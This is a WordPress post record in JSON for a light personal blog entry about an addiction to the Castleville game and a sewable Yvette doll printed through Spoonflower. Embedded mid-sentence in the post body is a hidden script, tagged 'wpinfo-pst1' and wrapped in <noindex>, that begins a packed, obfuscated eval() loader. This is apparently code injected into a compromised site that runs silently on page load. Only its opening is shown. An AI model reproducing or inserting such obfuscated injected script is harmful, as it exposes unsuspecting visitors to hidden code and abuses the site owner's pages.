{"id":3243,"date":"2012-07-01T12:32:56","date_gmt":"2012-07-01T19:32:56","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3243"},"modified":"2013-05-17T12:10:14","modified_gmt":"2013-05-17T19:10:14","slug":"yvette-worlds-worst-peasant","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3243","title":{"rendered":"Yvette, World&#8217;s Worst Peasant"},"content":{"rendered":"<p>So, I have a horrible confession to make.\u00c2\u00a0 As much as I have always hated Facebook (don&#8217;t even get me started) and especially Facebook games&#8230;\u00c2\u00a0\u00c2\u00a0 well&#8230;<\/p>\n<p>Ok, I&#8217;m totally addicted to Castleville.<\/p>\n<p>&nbsp;<\/p>\n<p>I mean, it&#8217;s <em>Castleville<\/em>.\u00c2\u00a0 <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return 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underline;\">ever<\/span>!<\/p>\n<p>Meanwhile, back on the ranch, I was falling head over heels in love with Spoonflower, the company that lets you design and print your own fabric.\u00c2\u00a0 So I made a doll-version of Yvette, to cut out and sew up.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/07\/120715_006.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-3247\" title=\"120715_006\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/07\/120715_006-150x150.jpg\" width=\"150\" height=\"150\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/07\/120715_004.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-3246\" title=\"120715_004\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/07\/120715_004-150x150.jpg\" width=\"150\" height=\"150\" \/><\/a> <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/07\/120715_003.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-thumbnail wp-image-3245\" title=\"120715_003\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/07\/120715_003-150x150.jpg\" width=\"150\" height=\"150\" \/><\/a><\/p>\n<p>Did I mention that Paul has gone to Memphis for two whole months!?!\u00c2\u00a0 Look what happens when he leaves me by myself:\u00c2\u00a0 Castleville and silly crafts.<\/p>\n<p><em>Actually, that&#8217;s true when he&#8217;s home, too.\u00c2\u00a0<\/em><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So, I have a horrible confession to make.\u00c2\u00a0 As much as I have always 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